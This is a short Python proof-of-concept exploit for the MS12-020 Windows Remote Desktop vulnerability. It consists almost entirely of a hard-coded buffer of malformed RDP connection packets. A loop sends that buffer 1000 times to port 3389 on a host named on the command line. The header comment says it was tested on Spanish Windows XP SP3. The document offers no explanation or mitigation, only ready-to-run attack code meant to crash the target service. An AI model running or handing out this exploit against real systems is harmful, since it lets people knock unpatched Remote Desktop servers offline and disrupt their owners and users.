# # ms12-020 "chinese shit" PoC # # tested on winsp3 spanish, from localhost # # import socket import sys buf="" buf+="\x03\x00\x00\x13\x0e\xe0\x00\x00" buf+="\x00\x00\x00\x01\x00\x08\x00\x00" buf+="\x00\x00\x00\x03\x00\x01\xd6\x02" buf+="\xf0\x80\x7f\x65\x82\x01\x94\x04" buf+="\x01\x01\x04\x01\x01\x01\x01\xff" buf+="\x30\x19\x02\x04\x00\x00\x00\x00" buf+="\x02\x04\x00\x00\x00\x02\x02\x04" buf+="\x00\x00\x00\x00\x02\x04\x00\x00" buf+="\x00\x01\x02\x04\x00\x00\x00\x00" buf+="\x02\x04\x00\x00\x00\x01\x02\x02" buf+="\xff\xff\x02\x04\x00\x00\x00\x02" buf+="\x30\x19\x02\x04\x00\x00\x00\x01" buf+="\x02\x04\x00\x00\x00\x01\x02\x04" buf+="\x00\x00\x00\x01\x02\x04\x00\x00" buf+="\x00\x01\x02\x04\x00\x00\x00\x00" buf+="\x02\x04\x00\x00\x00\x01\x02\x02" buf+="\x04\x20\x02\x04\x00\x00\x00\x02" buf+="\x30\x1c\x02\x02\xff\xff\x02\x02" buf+="\xfc\x17\x02\x02\xff\xff\x02\x04" buf+="\x00\x00\x00\x01\x02\x04\x00\x00" buf+="\x00\x00\x02\x04\x00\x00\x00\x01" buf+="\x02\x02\xff\xff\x02\x04\x00\x00" buf+="\x00\x02\x04\x82\x01\x33\x00\x05" buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00" buf+="\x08\x00\x10\x00\x01\xc0\x00\x44" buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8" buf+="\x00\x04\x00\x08\x00\x80\x02\xe0" buf+="\x01\x01\xca\x03\xaa\x09\x04\x00" buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f" buf+="\x00\x53\x00\x54\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x04\x00\x00" buf+="\x00\x00\x00\x00\x00\x0c\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x01\xca\x01\x00\x00\x00\x00" buf+="\x00\x10\x00\x07\x00\x01\x00\x30" buf+="\x00\x30\x00\x30\x00\x30\x00\x30" buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" buf+="\x00\x30\x00\x30\x00\x30\x00\x30" buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" buf+="\x00\x30\x00\x30\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c" buf+="\x00\x0d\x00\x00\x00\x00\x00\x00" buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00" buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c" buf+="\x00\x03\x00\x00\x00\x72\x64\x70" buf+="\x64\x72\x00\x00\x00\x00\x00\x80" buf+="\x80\x63\x6c\x69\x70\x72\x64\x72" buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70" buf+="\x73\x6e\x64\x00\x00\x00\x00\x00" buf+="\xc0\x03\x00\x00\x0c\x02\xf0\x80" buf+="\x04\x01\x00\x01\x00\x03\x00\x00" buf+="\x08\x02\xf0\x80\x28\x03\x00\x00" buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03" buf+="\xef\x03\x00\x00\x0c\x02\xf0\x80" buf+="\x38\x00\x06\x03\xeb\x03\x00\x00" buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03" buf+="\xec\x03\x00\x00\x0c\x02\xf0\x80" buf+="\x38\x00\x06\x03\xed\x03\x00\x00" buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03" buf+="\xee\x03\x00\x00\x0b\x06\xd0\x00" buf+="\x00\x12\x34\x00" HOST = sys.argv[1] PORT = 3389 for i in range(1000): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST,PORT)) print "sending: %d bytes" % len(buf) s.send(buf) rec = s.recv(100) print "received: %d bytes" % len(rec) s.close()